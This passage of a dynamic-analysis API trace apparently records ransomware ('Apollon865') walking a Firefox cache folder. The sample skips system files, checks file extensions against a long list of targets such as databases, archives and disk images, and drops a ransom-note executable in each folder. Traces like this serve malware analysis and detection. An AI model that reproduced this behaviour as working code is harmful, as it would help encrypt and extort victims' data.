	[0045.352] lstrcmpiW (lpString1="01_", lpString2="vvv") returned -1
	[0045.352] lstrlenW (lpString="wdb") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="wdb") returned -1
	[0045.352] lstrlenW (lpString="wmdb") returned 4
	[0045.352] lstrcmpiW (lpString1="001_", lpString2="wmdb") returned -1
	[0045.352] lstrlenW (lpString="wrk") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="wrk") returned -1
	[0045.352] lstrlenW (lpString="xdb") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="xdb") returned -1
	[0045.352] lstrlenW (lpString="xld") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="xld") returned -1
	[0045.352] lstrlenW (lpString="xmlff") returned 5
	[0045.352] lstrcmpiW (lpString1="_001_", lpString2="xmlff") returned -1
	[0045.352] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x851e0d90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_CACHE_002_", cAlternateFileName="_CACHE~3")) returned 1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2="Apollon865.txt.exe") returned -1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2=".") returned 1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2="..") returned 1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2="windows") returned -1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2="bootmgr") returned -1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2="temp") returned -1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2="pagefile.sys") returned -1
	[0045.352] lstrcmpiW (lpString1="_CACHE_002_", lpString2="boot") returned -1
	[0045.353] lstrcmpiW (lpString1="_CACHE_002_", lpString2="ids.txt") returned -1
	[0045.353] lstrcmpiW (lpString1="_CACHE_002_", lpString2="ntuser.dat") returned -1
	[0045.353] lstrcmpiW (lpString1="_CACHE_002_", lpString2="perflogs") returned -1
	[0045.353] lstrcmpiW (lpString1="_CACHE_002_", lpString2="MSBuild") returned -1
	[0045.353] lstrlenW (lpString="_CACHE_002_") returned 11
	[0045.353] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_") returned 103
	[0045.353] lstrcpyW (in: lpString1=0x2d3e608, lpString2="_CACHE_002_" | out: lpString1="_CACHE_002_") returned="_CACHE_002_"
	[0045.353] lstrlenW (lpString="_CACHE_002_") returned 11
	[0045.353] lstrlenW (lpString="Apollon865") returned 10
	[0045.353] lstrcmpiW (lpString1="CACHE_002_", lpString2="Apollon865") returned 1
	[0045.353] lstrlenW (lpString=".dll") returned 4
	[0045.353] lstrcmpiW (lpString1="_CACHE_002_", lpString2=".dll") returned 1
	[0045.353] lstrlenW (lpString=".lnk") returned 4
	[0045.353] lstrcmpiW (lpString1="_CACHE_002_", lpString2=".lnk") returned 1
	[0045.353] lstrlenW (lpString=".ini") returned 4
	[0045.353] lstrcmpiW (lpString1="_CACHE_002_", lpString2=".ini") returned 1
	[0045.353] lstrlenW (lpString=".sys") returned 4
	[0045.353] lstrcmpiW (lpString1="_CACHE_002_", lpString2=".sys") returned 1
	[0045.353] lstrlenW (lpString="_CACHE_002_") returned 11
	[0045.353] lstrlenW (lpString="bak") returned 3
	[0045.353] lstrcmpiW (lpString1="02_", lpString2="bak") returned -1
	[0045.353] lstrlenW (lpString="ba_") returned 3
	[0045.353] lstrcmpiW (lpString1="02_", lpString2="ba_") returned -1
	[0045.353] lstrlenW (lpString="dbb") returned 3
	[0045.353] lstrcmpiW (lpString1="02_", lpString2="dbb") returned -1
	[0045.353] lstrlenW (lpString="vmdk") returned 4
	[0045.353] lstrcmpiW (lpString1="002_", lpString2="vmdk") returned -1
	[0045.353] lstrlenW (lpString="rar") returned 3
	[0045.353] lstrcmpiW (lpString1="02_", lpString2="rar") returned -1
	[0045.353] lstrlenW (lpString="zip") returned 3
	[0045.353] lstrcmpiW (lpString1="02_", lpString2="zip") returned -1
	[0045.353] lstrlenW (lpString="tgz") returned 3
	[0045.353] lstrcmpiW (lpString1="02_", lpString2="tgz") returned -1
	[0045.354] lstrlenW (lpString="vbox") returned 4
	[0045.354] lstrcmpiW (lpString1="002_", lpString2="vbox") returned -1
	[0045.354] lstrlenW (lpString="vdi") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="vdi") returned -1
	[0045.354] lstrlenW (lpString="vhd") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="vhd") returned -1
	[0045.354] lstrlenW (lpString="vhdx") returned 4
	[0045.354] lstrcmpiW (lpString1="002_", lpString2="vhdx") returned -1
	[0045.354] lstrlenW (lpString="avhd") returned 4
	[0045.354] lstrcmpiW (lpString1="002_", lpString2="avhd") returned -1
	[0045.354] lstrlenW (lpString="db") returned 2
	[0045.354] lstrcmpiW (lpString1="2_", lpString2="db") returned -1
	[0045.354] lstrlenW (lpString="db2") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="db2") returned -1
	[0045.354] lstrlenW (lpString="db3") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="db3") returned -1
	[0045.354] lstrlenW (lpString="dbf") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="dbf") returned -1
	[0045.354] lstrlenW (lpString="mdf") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="mdf") returned -1
	[0045.354] lstrlenW (lpString="mdb") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="mdb") returned -1
	[0045.354] lstrlenW (lpString="sql") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="sql") returned -1
	[0045.354] lstrlenW (lpString="sqlite") returned 6
	[0045.354] lstrcmpiW (lpString1="E_002_", lpString2="sqlite") returned -1
	[0045.354] lstrlenW (lpString="sqlite3") returned 7
	[0045.354] lstrcmpiW (lpString1="HE_002_", lpString2="sqlite3") returned -1
	[0045.354] lstrlenW (lpString="sqlitedb") returned 8
	[0045.354] lstrcmpiW (lpString1="CHE_002_", lpString2="sqlitedb") returned -1
	[0045.354] lstrlenW (lpString="xml") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="xml") returned -1
	[0045.354] lstrlenW (lpString="$er") returned 3
	[0045.354] lstrcmpiW (lpString1="02_", lpString2="$er") returned 1
	[0045.355] lstrlenW (lpString="4dd") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="4dd") returned -1
	[0045.355] lstrlenW (lpString="4dl") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="4dl") returned -1
	[0045.355] lstrlenW (lpString="^^^") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="^^^") returned 1
	[0045.355] lstrlenW (lpString="abs") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="abs") returned -1
	[0045.355] lstrlenW (lpString="abx") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="abx") returned -1
	[0045.355] lstrlenW (lpString="accdb") returned 5
	[0045.355] lstrcmpiW (lpString1="_002_", lpString2="accdb") returned -1
	[0045.355] lstrlenW (lpString="accdc") returned 5
	[0045.355] lstrcmpiW (lpString1="_002_", lpString2="accdc") returned -1
	[0045.355] lstrlenW (lpString="accde") returned 5
	[0045.355] lstrcmpiW (lpString1="_002_", lpString2="accde") returned -1
	[0045.355] lstrlenW (lpString="accdr") returned 5
	[0045.355] lstrcmpiW (lpString1="_002_", lpString2="accdr") returned -1
	[0045.355] lstrlenW (lpString="accdt") returned 5
	[0045.355] lstrcmpiW (lpString1="_002_", lpString2="accdt") returned -1
	[0045.355] lstrlenW (lpString="accdw") returned 5
	[0045.355] lstrcmpiW (lpString1="_002_", lpString2="accdw") returned -1
	[0045.355] lstrlenW (lpString="accft") returned 5
	[0045.355] lstrcmpiW (lpString1="_002_", lpString2="accft") returned -1
	[0045.355] lstrlenW (lpString="adb") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="adb") returned -1
	[0045.355] lstrlenW (lpString="adb") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="adb") returned -1
	[0045.355] lstrlenW (lpString="ade") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="ade") returned -1
	[0045.355] lstrlenW (lpString="adf") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="adf") returned -1
	[0045.355] lstrlenW (lpString="adn") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="adn") returned -1
	[0045.355] lstrlenW (lpString="adp") returned 3
	[0045.355] lstrcmpiW (lpString1="02_", lpString2="adp") returned -1
	[0045.356] lstrlenW (lpString="alf") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="alf") returned -1
	[0045.356] lstrlenW (lpString="ask") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="ask") returned -1
	[0045.356] lstrlenW (lpString="btr") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="btr") returned -1
	[0045.356] lstrlenW (lpString="cat") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="cat") returned -1
	[0045.356] lstrlenW (lpString="cdb") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="cdb") returned -1
	[0045.356] lstrlenW (lpString="ckp") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="ckp") returned -1
	[0045.356] lstrlenW (lpString="cma") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="cma") returned -1
	[0045.356] lstrlenW (lpString="cpd") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="cpd") returned -1
	[0045.356] lstrlenW (lpString="dacpac") returned 6
	[0045.356] lstrcmpiW (lpString1="E_002_", lpString2="dacpac") returned 1
	[0045.356] lstrlenW (lpString="dad") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="dad") returned -1
	[0045.356] lstrlenW (lpString="dadiagrams") returned 10
	[0045.356] lstrcmpiW (lpString1="CACHE_002_", lpString2="dadiagrams") returned -1
	[0045.356] lstrlenW (lpString="daschema") returned 8
	[0045.356] lstrcmpiW (lpString1="CHE_002_", lpString2="daschema") returned -1
	[0045.356] lstrlenW (lpString="db-journal") returned 10
	[0045.356] lstrcmpiW (lpString1="CACHE_002_", lpString2="db-journal") returned -1
	[0045.356] lstrlenW (lpString="db-shm") returned 6
	[0045.356] lstrcmpiW (lpString1="E_002_", lpString2="db-shm") returned 1
	[0045.356] lstrlenW (lpString="db-wal") returned 6
	[0045.356] lstrcmpiW (lpString1="E_002_", lpString2="db-wal") returned 1
	[0045.356] lstrlenW (lpString="dbc") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="dbc") returned -1
	[0045.356] lstrlenW (lpString="dbs") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="dbs") returned -1
	[0045.356] lstrlenW (lpString="dbt") returned 3
	[0045.356] lstrcmpiW (lpString1="02_", lpString2="dbt") returned -1
	[0045.357] lstrlenW (lpString="dbv") returned 3
	[0045.357] lstrcmpiW (lpString1="02_", lpString2="dbv") returned -1
	[0045.357] lstrlenW (lpString="dbx") returned 3
	[0045.357] lstrcmpiW (lpString1="02_", lpString2="dbx") returned -1
	[0045.358] lstrlenW (lpString="dcb") returned 3
	[0045.358] lstrcmpiW (lpString1="02_", lpString2="dcb") returned -1
	[0045.358] lstrcmpiW (lpString1="02_", lpString2="dct") returned -1
	[0045.358] lstrcpyW (in: lpString1=0x2d3e608, lpString2="_CACHE_003_" | out: lpString1="_CACHE_003_") returned="_CACHE_003_"
	[0045.358] lstrlenW (lpString="_CACHE_003_") returned 11
	[0045.358] lstrlenW (lpString="Apollon865") returned 10
	[0045.358] lstrcmpiW (lpString1="CACHE_003_", lpString2="Apollon865") returned 1
	[0045.358] lstrlenW (lpString=".dll") returned 4
	[0045.358] lstrcmpiW (lpString1="_CACHE_003_", lpString2=".dll") returned 1
	[0045.358] lstrlenW (lpString=".lnk") returned 4
	[0045.358] lstrcmpiW (lpString1="_CACHE_003_", lpString2=".lnk") returned 1
	[0045.358] lstrlenW (lpString=".ini") returned 4
	[0045.358] lstrcmpiW (lpString1="_CACHE_003_", lpString2=".ini") returned 1
	[0045.358] lstrlenW (lpString=".sys") returned 4
	[0045.358] lstrcmpiW (lpString1="_CACHE_003_", lpString2=".sys") returned 1
	[0045.358] lstrlenW (lpString="_CACHE_003_") returned 11
	[0045.359] lstrcpyW (in: lpString1=0x2d3e608, lpString2="_CACHE_MAP_" | out: lpString1="_CACHE_MAP_") returned="_CACHE_MAP_"
	[0045.359] lstrlenW (lpString="_CACHE_MAP_") returned 11
	[0045.359] lstrlenW (lpString="Apollon865") returned 10
	[0045.359] lstrcmpiW (lpString1="CACHE_MAP_", lpString2="Apollon865") returned 1
	[0045.359] lstrlenW (lpString=".dll") returned 4
	[0045.359] lstrcmpiW (lpString1="_CACHE_MAP_", lpString2=".dll") returned 1
	[0045.359] lstrlenW (lpString=".lnk") returned 4
	[0045.359] lstrcmpiW (lpString1="_CACHE_MAP_", lpString2=".lnk") returned 1
	[0045.359] lstrlenW (lpString=".ini") returned 4
	[0045.359] lstrcmpiW (lpString1="_CACHE_MAP_", lpString2=".ini") returned 1
	[0045.359] lstrlenW (lpString=".sys") returned 4
	[0045.359] lstrcmpiW (lpString1="_CACHE_MAP_", lpString2=".sys") returned 1
	[0045.359] lstrlenW (lpString="_CACHE_MAP_") returned 11
	[0045.359] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F"
	[0045.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0045.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0045.359] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F") returned 93
	[0045.359] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F"
	[0045.359] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.359] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.364] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.364] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x331bb110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x331bb110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.364] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.364] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.364] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.364] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x331bb110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x331bb110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.364] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.364] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.364] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.364] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.365] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23", cAlternateFileName="")) returned 1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="Apollon865.txt.exe") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2=".") returned 1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="..") returned 1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="windows") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="bootmgr") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="temp") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="pagefile.sys") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="boot") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="ids.txt") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="ntuser.dat") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="perflogs") returned -1
	[0045.365] lstrcmpiW (lpString1="23", lpString2="MSBuild") returned -1
	[0045.365] lstrlenW (lpString="23") returned 2
	[0045.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*") returned 95
	[0045.365] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="23" | out: lpString1="23") returned="23"
	[0045.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0045.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5ac620
	[0045.365] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0045.365] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F0", cAlternateFileName="")) returned 1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="Apollon865.txt.exe") returned 1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2=".") returned 1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="..") returned 1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="windows") returned -1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="bootmgr") returned 1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="temp") returned -1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="pagefile.sys") returned -1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="boot") returned 1
	[0045.365] lstrcmpiW (lpString1="F0", lpString2="ids.txt") returned -1
	[0045.366] lstrcmpiW (lpString1="F0", lpString2="ntuser.dat") returned -1
	[0045.366] lstrcmpiW (lpString1="F0", lpString2="perflogs") returned -1
	[0045.366] lstrcmpiW (lpString1="F0", lpString2="MSBuild") returned -1
	[0045.366] lstrlenW (lpString="F0") returned 2
	[0045.366] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23") returned 96
	[0045.366] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="F0" | out: lpString1="F0") returned="F0"
	[0045.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0045.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5ac6f0
	[0045.366] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0045.366] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x331bb110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x331bb110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.366] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.366] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x331bb110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x331bb110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.366] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.366] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0045.366] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0"
	[0045.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac6f0 | out: hHeap=0x580000) returned 1
	[0045.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0045.366] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0") returned 96
	[0045.366] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0"
	[0045.366] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.366] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.372] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x331e1270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x331e1270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.372] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.372] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.372] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.372] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x331e1270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x331e1270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.372] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.372] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.372] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.372] lstrcmpiW (lpString1="..", lpString2="..") returned 0
